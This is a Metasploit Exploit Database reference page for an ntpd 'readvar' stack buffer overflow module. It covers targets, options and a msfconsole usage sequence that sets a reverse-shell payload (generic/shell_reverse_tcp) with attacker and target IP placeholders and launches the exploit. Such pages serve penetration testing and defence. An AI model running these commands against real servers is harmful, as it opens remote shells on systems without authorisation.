NTP daemon readvar Buffer Overflow | Metasploit Exploit Database (DB)

NTP daemon readvar Buffer Overflow

This module exploits a stack based buffer overflow in the ntpd and xntpd service. By sending an overly long 'readvar' request it is possible to execute code remotely. As the stack is corrupted, this module uses the Egghunter technique.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • patrick < patrick [at] osisecurity.com.au >

Vulnerability References


Exploit Targets

  • 0 - RedHat Linux 7.0 ntpd 4.0.99j (default)
  • 1 - RedHat Linux 7.0 ntpd 4.0.99j w/debug
  • 2 - RedHat Linux 7.0 ntpd 4.0.99k
  • 3 - Debugging

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/ntp/ntp_overflow
msf exploit(ntp_overflow) > show payloads
msf exploit(ntp_overflow) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ntp_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(ntp_overflow) > set RHOST [TARGET IP]
msf exploit(ntp_overflow) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 123)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session